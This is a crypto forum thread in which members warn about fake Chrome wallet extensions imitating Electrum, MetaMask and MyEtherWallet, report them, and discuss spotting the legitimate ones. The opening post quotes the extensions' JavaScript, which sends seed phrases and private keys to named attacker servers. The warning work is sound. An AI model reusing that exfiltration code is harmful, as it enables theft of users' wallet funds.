Bitcoin Forum
February 25, 2021, 06:17:05 AM *
News: Latest Bitcoin Core release: 0.21.0 [Torrent]
 
   Home   Help Search Login Register More  
Pages: [1]
  Print  
Author Topic: Fake Electrum, MEW and Meta Mask  (Read 207 times)
TravelMug
Hero Member
*****
Offline Offline

Activity: 1470
Merit: 646



View Profile
April 07, 2020, 02:29:21 AM
Merited by bones261 (4), 1miau (2), sheenshane (1), DdmrDdmr (1), notblox1 (1), CucakRowo (1), BITCOIN4X (1)
 #1

What is up with the hackers lately? Well they are not resting even in this lock-down. New find:

1. Fake Electrum

Extension:
Code:
https://chrome.google.com/webstore/detail/electrum/gpffceikmehgifkjjginoibpceadefih


The posting it to:
Code:
https://completssl.com/ssnd_el.php

Snippet of loader.js

Code:
      $.post("https://completssl.com/ssnd_el.php",$("#form").serialize(),function(result){
          $('#success-msg').show();
          $('#started').hide();
          $('#form').hide();
          $('#main').hide();
          $('#foo').fadeOut().delay(2000).fadeIn();
          $('#boo').fadeIn().delay(1200).fadeOut();   
      });
      return false;





2.  Fake Meta Mask

Extension:
Code:
https://chrome.google.com/webstore/detail/meta%C2%AD%C2%ADmask-wallet/jbfponbaiamgjmfpfghcjjhddjdjdpna


snippet of loader.js.

Code:
                      $.ajax({
                 
                                  url : 'https://coinomibeta.online/post/connexion.php',
                                  type : 'Post',
                                  data: {
                                      phra: privat,
                          },
                                  dataType : 'html',
                                  success : function(code_html, statut){
                                    if (x == 1){
                                              location.href = "./final.html";




3. Fake MEW (MyEtherWallet)

Extension:

Code:
https://chrome.google.com/webstore/detail/mew%C2%AD%C2%AD-wallet/njhfmnfcoffkdjbgpannpgifnbgdihkl


snippet of privat.js

Code:
            $.ajax({
                       
                        url : 'https://coinomibeta.online/post/connexion.php',
                        type : 'Post',
                        data: {
                            priv: privat,
                },
                        dataType : 'html',
                        success : function(code_html, statut){
                            if (x == 1){
                                location.href = "./final.html";

Probably the same bad actor involved here. Please, kindly report. Thanks.

███████████████████████████
█████████▀▄▄▄▄▄██▀▀████████
█████▀▄█▀▀▄▄▄▄▄▄▄▀▀▄▄▀█████
████ █▀▄███████████▄▀██████
███▄█ ███████▀ ██████ █ ███
██▀█ ███  ▀▀█  ▀██████ █ ██
██ █ ████▄▄      ▀▀▀██ █ ██
██ █ █████▌        ▄██ ████
███▄█ █████▄▄   ▄▄███ █▀███
████▀█▄▀█████▌  ▀██▀▄█ ████
█████▄▀▀▄▄▀▀▀▀   ▄▄█▀▄█████
████████▄██▀▀▀▀▀▀██████████
███████████████████████████
               ▄███▄
            ▄████████

        ▄▄██████████
       █▀▀▀██▀▀▀████
      ███████████
    ▀▀▀████████████
      ▀███████████▀
      ▄███████████▄
 ▄
    ▀▀▀▀▀▀▀▀███▀▀   ▄
▀▀█▀▀
███████████▀▀▀█▀▀
    ████████████████
   ▄████████████████
▄█████████████████████▄
★ ‎
‎ ★
UP
TO
15%...CASH BACK
EVERY SPIN

‎ ★
        ▄██▄
     ████████▄
     ██████████

    ████████████
     ▄████████▄
    █████████████
  ▄██████████████
  ▀██████████████▀
   █████████████▄
 ▄████████████████▄
████████████████████
 ▀▀▀████████████▀▀▀
       ██████
..PLAY NOW..
1614233825
Hero Member
*
Offline Offline

Posts: 1614233825

View Profile Personal Message (Offline)

Ignore
1614233825
Reply with quote  #2

1614233825
Report to moderator
1614233825
Hero Member
*
Offline Offline

Posts: 1614233825

View Profile Personal Message (Offline)

Ignore
1614233825
Reply with quote  #2

1614233825
Report to moderator
1614233825
Hero Member
*
Offline Offline

Posts: 1614233825

View Profile Personal Message (Offline)

Ignore
1614233825
Reply with quote  #2

1614233825
Report to moderator
Advertised sites are not endorsed by the Bitcoin Forum. They may be unsafe, untrustworthy, or illegal in your jurisdiction. Advertise here.
Dorodha
Member
**
Offline Offline

Activity: 252
Merit: 11


View Profile
April 07, 2020, 03:07:58 AM
 #2

Thanks, TravelMug detected them on the way hackers are not stopped working on any situation because hacker are most active and using trending materials for easily hacked accounts or something else. You keep doing your work and keep the new ones aware.

https://imgur.com/30ISNOC
https://imgur.com/SUcIi7T
https://imgur.com/rzb5Vxv

Already report done on listing addons I hope need some extra reporters for permanently delete one chrome webstore.
asu
Legendary
*
Offline Offline

Activity: 1302
Merit: 1134



View Profile
April 07, 2020, 03:21:31 AM
 #3

What is up with the hackers lately? Well they are not resting even in this lock-down.

They're taking avantage of the lockdown since most of "us" are mostly in the internet right now. Using internet is the best way to avoid boredom while were lockdown in our houses.

There are still more of fake extension when you look at the "Related" and "More from this Developer".

Reported. Wink

███████████████████████████
██    ▀█████████████▀    ██
██      ▀████▀████▀      ██
███▄    ▄██▀   ▀██▄    ▄███
█████▄▄██▀  ▄▄▄  ▀██▄▄█████
███████▀    ███    ▀███████
██████               ██████
███████▄    ███    ▄███████
████▀ ▀██▄  ▀▀▀  ▄██▀ ▀████
████▀   ▀██▄   ▄██▀   ▀████
██▀   ▄▄ ▄███▄███▄ ▄▄   ▀██
██▄ ▄█████████████████▄ ▄██
███████████████████████████
.
..Duelbits..
██
██
██
██
██
██
██
██
██
██
██
██
██
███████████████████████████
██ ▄▄▄▄ ███████████ ▄▄▄▄ ██
██ █ ▄▄▄▄ ███████ ▄▄▄▄ █ ██
██ ▀ █ ▄▄▄▄ ███ ▄▄▄▄ █ ▀ ██
████ ▀ █  █ ███ █  █ ▀ ████
██████ ▀▀▀▀ ███ ▀▀▀▀ ██████
██▄ ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄ ▄██
██▄██████▌▐▀▄▀▄▀▌▐██████▄██
██▀▀▀████ █▄▀▄▀▄█ ████▀▀▀██
█████▄▄▄ ▄▄▄▄▄▄▄▄▄ ▄▄▄█████
███████▌▐█████████▌▐███████
██▄▄▄▀▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀▀▄▄▄██
███████████████████████████
███████████████████████████
███████████████████████████
█████████████████▀██ ██▀███
██████████████████▄███▄████
██ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ██
██ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ██
██ ██████ ▐█████▌ █ ██ █ ██
██ █▀▄▄▀█ ▐▀▄▄▄▀▌ ██▄▄██ ██
██ █▄▀▀▄█ ▐▄▀▀▀▄▌ ▀▀▀▀▀▀ ██
██ ██████ ▐█████▌ ██████ ██
██ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ██
██ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ██
███████████████████████████
███████████████████████████
██▀▄▄▄▄▄▄▄▄▄▄▄▄▀███████████
██ █▀▄▀▄▀▄▀▄▀▄█ ███████████
██ █▀▄▀▄▀▄▀▄ ▄▄▄▄▄▄▄▄▄▄▄▀██
██ █▀▄▀▄▀▄ █ █▀▄▀███████ ██
██ █▀▄▀▄▀▄ █ ██▄████████ ██
██ █▀▄▀▄▀▄ █ ████▀▄▀████ ██
██ █▀▄▀▄▀▄ █ ███ ███ ███ ██
██ █▀▄▀▄▀▄ █ ████▄▀▄████ ██
██ ▀▀▀▀▀▀▀ █ ████████▀██ ██
██ ▀▀▀▀▀▀▀ █ ███████▄▀▄█ ██
██▄▀▀▀▀▀▀▀▄▀ ▀▀▀▀▀▀▀▀▀▀▀▄██
███████████████████████████
███████████████████████████
████████▀▀▄▄▄▄▄▄▄▀▀████████
█████▀▄▄███████████▄▄▀█████
████ █████████████████ ████
███ ███████████████████ ███
██ █████████████████████ ██
██ █████████████████████ ██
██ ████████████   ██████ ██
███ ███████████   █████ ███
████ █████████████████ ████
█████▄▀▀███████████▀▀▄█████
████████▄▄▀▀▀▀▀▀▀▄▄████████
███████████████████████████
███████████████████████████
██ ▄▄▄▀▀███████████▀▀▄▄▄ ██
██ █████▄▀███████▀▄█████ ██
███▄▀█████▄▀███▀▄█████▀▄███
█████▄▀█████▄▀██████▀▄█████
███████▄▀█████▄▀██▀▄███████
█████████▄▀█████▄▀█████████
███▀▄▄▀▀▄██▄▀█████▄▀▀▄▀████
████ ██▄▀████▄▀███▀▄██ ████
████▀▄███▄▀▄███▄▀▄███▄▀████
██▀▄██▀▄▀▀█ ███ █▀▀▄▀██▄▀██
███▄▀▄████▄█████▄████▄▀▄███
███████████████████████████
LIVE SHOWS
SLOTS
BLACKJACK
  ROULETTE
  DUELS
▬▬▬▬▬▬▬▬
CASHBACK
██&██
RAKEBACK
██
██
██
██
██
██
██
██
██
██
██
██
██
.
...Register Now...
libert19
Sr. Member
****
Offline Offline

Activity: 1330
Merit: 263


First 100% Liquid Stablecoin Backed by Gold


View Profile WWW
April 07, 2020, 03:39:12 AM
 #4

There are fake coinomi extensions too, and if Google removes one other pops up right into the place. This is never ending cycle.

BITCOIN4X
Hero Member
*****
Offline Offline

Activity: 812
Merit: 563



View Profile
April 07, 2020, 03:51:05 AM
 #5

Among the dangerous fraud attempts, fake wallet extensions are those that can be categorized as very dangerous for crypto users. The wallet extension available at the web store is directly related to the user's assets, whoever uses it will make all the assets in it disappear and be taken by fraudsters.

Users who are not careful might have the chance to get caught by this cheater trap, reporting it is the right effort so far because if the extension is still in the web store then I am sure there will be users who experience fraud.

A little advice for TravelMug, you make a good effort to help the people here so they dont experience fraud. But I hope you can also show real extensions so people can distinguish them.

       ▀█████████████████████
            ▀▀██████
    ▄▄
▀████▄▄  ▀████
  ▄████▄
▀█████▄  ▀███
 ████▀▀
   ▄██████  ▀███
████▀
   ▄████▀████  ████
████  ▄█▄
▀█▀  ████  █████
████▄████▀
   ▄████  ████
 ██████▀
   ▄▄████  ▄███
  ▀█████▄
▀████▀  ▄███
    ▀▀████▄
▀▀  ▄████
            ▄▄██████
       ▄███████████
████████████████████████████████████
.
FUN TOKEN
.
██████████████     ██████████████████████
██████████
 ██████████
  ██████████
   ██████████
    ██████████
     ██████████
      ██████████
     ██████████
    ██████████
   ██████████
  ██████████
 ██████████
██████████
.
FreeBitco.in Adopts FUN Token for
Premium Membership Program
██████████
 ██████████
  ██████████
   ██████████
    ██████████
     ██████████
      ██████████
     ██████████
    ██████████
   ██████████
  ██████████
 ██████████
██████████
.
██████████
 ██████████
  ██████████
   ██████████
    ██████████
     ██████████
      ██████████
     ██████████
    ██████████
   ██████████
  ██████████
 ██████████
██████████

          ▄
      ▀▄  ▀  ▄▀
 ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
█████████████████████
██  ▄▄▀█  ██ █  ██ ██
██  ▄▄▀█  ██ ██▄ ▄███
██  ▀▀▄█▄ ▀▀▄███ ████
█████████████ ▄▄▄ ▀▀█
 ▀▀▀▀▀▀▀▀▀▀▀▀ ▐████▄▄
      ▄▀  ▄    █████▄
          ▀     ▀ ▀███
                    ▀
.
41M Users to Buy and Hold
FUN for Premium Benefits
.
.Learn More.
Btcbeginners
Newbie
*
Offline Offline

Activity: 28
Merit: 3


View Profile
April 07, 2020, 08:20:15 AM
 #6

Reported the Metamask fake one
notblox1
Hero Member
*****
Offline Offline

Activity: 896
Merit: 559


🏵️-... .. - -.-. --- .. -.🍀


View Profile WWW
April 07, 2020, 08:26:41 AM
 #7

This is crazy! Thank you for exposing this.
There are more and more scam chrome extensions every day, and people install them without even checking.
Chrome store must change some things

███████████████████████████
█████████▀▄▄▄▄▄██▀▀████████
█████▀▄█▀▀▄▄▄▄▄▄▄▀▀▄▄▀█████
████ █▀▄███████████▄▀██████
███▄█ ███████▀ ██████ █ ███
██▀█ ███  ▀▀█  ▀██████ █ ██
██ █ ████▄▄      ▀▀▀██ █ ██
██ █ █████▌        ▄██ ████
███▄█ █████▄▄   ▄▄███ █▀███
████▀█▄▀█████▌  ▀██▀▄█ ████
█████▄▀▀▄▄▀▀▀▀   ▄▄█▀▄█████
████████▄██▀▀▀▀▀▀██████████
███████████████████████████
               ▄███▄
            ▄████████

        ▄▄██████████
       █▀▀▀██▀▀▀████
      ███████████
    ▀▀▀████████████
      ▀███████████▀
      ▄███████████▄
 ▄
    ▀▀▀▀▀▀▀▀███▀▀   ▄
▀▀█▀▀
███████████▀▀▀█▀▀
    ████████████████
   ▄████████████████
▄█████████████████████▄
★ ‎
‎ ★
UP
TO
15%...CASH BACK
EVERY SPIN

‎ ★
        ▄██▄
     ████████▄
     ██████████

    ████████████
     ▄████████▄
    █████████████
  ▄██████████████
  ▀██████████████▀
   █████████████▄
 ▄████████████████▄
████████████████████
 ▀▀▀████████████▀▀▀
       ██████
..PLAY NOW..
mk4
Legendary
*
Offline Offline

Activity: 1596
Merit: 1879


🔐 NotYourKeys.org 🔑


View Profile WWW
April 07, 2020, 08:39:40 AM
 #8

tldr; only download browser extensions from the platform's legitimate website. Don't go and search the extensions on the webs tore or on Google(especially if you're not using an adblock extension; if you're not, what are you doing with your life?). Fake extensions and phishing websites will come and go. At some point this section is just going to be filled with fake extension/website reposts.

sheenshane
Hero Member
*****
Offline Offline

Activity: 1246
Merit: 867


🔰Buy/Sell Cryptocurrencies🔰


View Profile WWW
April 07, 2020, 09:29:44 AM
 #9

We should be thankful to those our fellow members here in the forum who keep busting scam phishing sites or fraudster websites.

I saw several times OP posted scam reports and maybe it is good if you compile them all and make a list of if yours. Just like what @Baofeng did on this thread, he/she made a compilation of all reports he had. Or maybe both of you might combine all your work in one thread.

Anyway, thank you for the heads up here. I also reported it to google.





.
.




░██████████████████░
████████████████████
█████████▀░░░███████
█████████░░▄████████
███████▀▀░░▀▀███████
███████▄▄░░▄▄███████
█████████░░█████████

█████████░░█████████

█████████▄▄█████████

████████████████████

░██████████████████░
░██████████████████░
████████████████████
████████████▀▀▀█▀███
███░▀█████▀░░░░░▀███
███▌░░░▀▀▀░░░░░░████
████▄░░░░░░░░░░░████
█████▀░░░░░░░░░█████

██████▄░░░░░▄▄██████

█████▄▄▄▄███████████

████████████████████

░██████████████████░
░██████████████████░
████████████████████
████████████████████
███████████▀▀░░▐████
███████▀▀░░░░░█████
████▀░░░▄█▀░░░▐█████
█████▄▄█▀░░░░░██████

███████▌▄▄▄▐██████

████████████████████

████████████████████

░██████████████████░
1miau
Legendary
*
Offline Offline

Activity: 1008
Merit: 2933


Evaluate if it's Coin or Shitcoin


View Profile WWW
April 08, 2020, 02:02:29 AM
 #10

I'm still waiting for some fakes like "Meta Musk" and unfortunately, people will still fall for it.  Cry
And that's much more obvious.

In addition, low numbers of users and reviews are always a red flag (especially if the service is very famous).

cryptomaniac_xxx
Sr. Member
****
Offline Offline

Activity: 336
Merit: 374


View Profile
April 09, 2020, 12:47:52 PM
Last edit: April 09, 2020, 01:16:01 PM by cryptomaniac_xxx
Merited by TravelMug (1)
 #11

Legit Electrum

Code:
https://play.google.com/store/apps/details?id=org.electrum.electrum&hl=en

Legit MEW

Code:
nlbmnnijcnlegkjjpcfjclmcfggfefdm

Unfortunately, it was taken down by Google perhaps because of so many fake and malicious apps in Google store.

Edit: Those fake sites has been taken down.

bustadice         ▄▄████████████▄▄
     ▄▄████████▀▀▀▀████████▄▄
   ▄███████████    ███████████▄
  █████    ████▄▄▄▄████    █████
 ██████    ████████▀▀██    ██████
██████████████████   █████████████
█████████████████▌  ▐█████████████
███    ██████████   ███████    ███
███    ████████▀   ▐███████    ███
██████████████      ██████████████
██████████████      ██████████████
 ██████████████▄▄▄▄██████████████
  ▀████████████████████████████▀
                     ▄▄███████▄▄
                  ▄███████████████▄
   ███████████  ▄████▀▀       ▀▀████▄
               ████▀      ██     ▀████
 ███████████  ████        ██       ████
             ████         ██        ████
███████████  ████     ▄▄▄▄██        ████
             ████     ▀▀▀▀▀▀        ████
 ███████████  ████                 ████
               ████▄             ▄████
   ███████████  ▀████▄▄       ▄▄████▀
                  ▀███████████████▀
                     ▀▀███████▀▀
           ▄██▄
           ████
            ██
            ▀▀
 ▄██████████████████████▄
██████▀▀██████████▀▀██████
█████    ████████    █████
█████▄  ▄████████▄  ▄█████
██████████████████████████
██████████████████████████
    ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
    ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
       ████████████
[bustadice.
Play
bustadice]
RapTarX
Hero Member
*****
Offline Offline

Activity: 756
Merit: 591


View Profile
April 09, 2020, 02:31:40 PM
 #12

Legit MEW

Code:
nlbmnnijcnlegkjjpcfjclmcfggfefdm
What does that mean? I guess you have pasted some wrong contents. MEW= myetherwallet.com and that's the only site I know for MEW. What's your code referring to? Pardon me if I did miss something; I'm not much familiar with any other coins than BTC.
cryptomaniac_xxx
Sr. Member
****
Offline Offline

Activity: 336
Merit: 374


View Profile
April 09, 2020, 04:03:47 PM
 #13

Legit MEW

Code:
nlbmnnijcnlegkjjpcfjclmcfggfefdm
What does that mean? I guess you have pasted some wrong contents. MEW= myetherwallet.com and that's the only site I know for MEW. What's your code referring to? Pardon me if I did miss something; I'm not much familiar with any other coins than BTC.

Those are the official MEW extension that you can find in Google store. And it has been taken down together with a lot of fake MEW. Probably they are purging everything related to MEW and it was just sad that the original and legit extension are affected. But I'm sure that MEW are going to work with Google to reinstate their apps. Sorry if I didn't make my self clear in the beginning.

bustadice         ▄▄████████████▄▄
     ▄▄████████▀▀▀▀████████▄▄
   ▄███████████    ███████████▄
  █████    ████▄▄▄▄████    █████
 ██████    ████████▀▀██    ██████
██████████████████   █████████████
█████████████████▌  ▐█████████████
███    ██████████   ███████    ███
███    ████████▀   ▐███████    ███
██████████████      ██████████████
██████████████      ██████████████
 ██████████████▄▄▄▄██████████████
  ▀████████████████████████████▀
                     ▄▄███████▄▄
                  ▄███████████████▄
   ███████████  ▄████▀▀       ▀▀████▄
               ████▀      ██     ▀████
 ███████████  ████        ██       ████
             ████         ██        ████
███████████  ████     ▄▄▄▄██        ████
             ████     ▀▀▀▀▀▀        ████
 ███████████  ████                 ████
               ████▄             ▄████
   ███████████  ▀████▄▄       ▄▄████▀
                  ▀███████████████▀
                     ▀▀███████▀▀
           ▄██▄
           ████
            ██
            ▀▀
 ▄██████████████████████▄
██████▀▀██████████▀▀██████
█████    ████████    █████
█████▄  ▄████████▄  ▄█████
██████████████████████████
██████████████████████████
    ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
    ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
       ████████████
[bustadice.
Play
bustadice]
TryNinja
Legendary
*
Offline Offline

Activity: 1666
Merit: 3163


Merit & Notifications bot: @BTTSuperNotifier_bot


View Profile WWW
April 09, 2020, 05:19:50 PM
Merited by TravelMug (1)
 #14

And it has been taken down together with a lot of fake MEW. Probably they are purging everything related to MEW and it was just sad that the original and legit extension are affected. But I'm sure that MEW are going to work with Google to reinstate their apps. Sorry if I didn't make my self clear in the beginning.
It's up here.

https://chrome.google.com/webstore/detail/mew-cx/nlbmnnijcnlegkjjpcfjclmcfggfefdm

And here is the source that this is the legit MEW: https://twitter.com/myetherwallet/status/1007465073898545152

Pages: [1]
  Print  
 
Jump to:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.19 | SMF © 2006-2009, Simple Machines Valid XHTML 1.0! Valid CSS!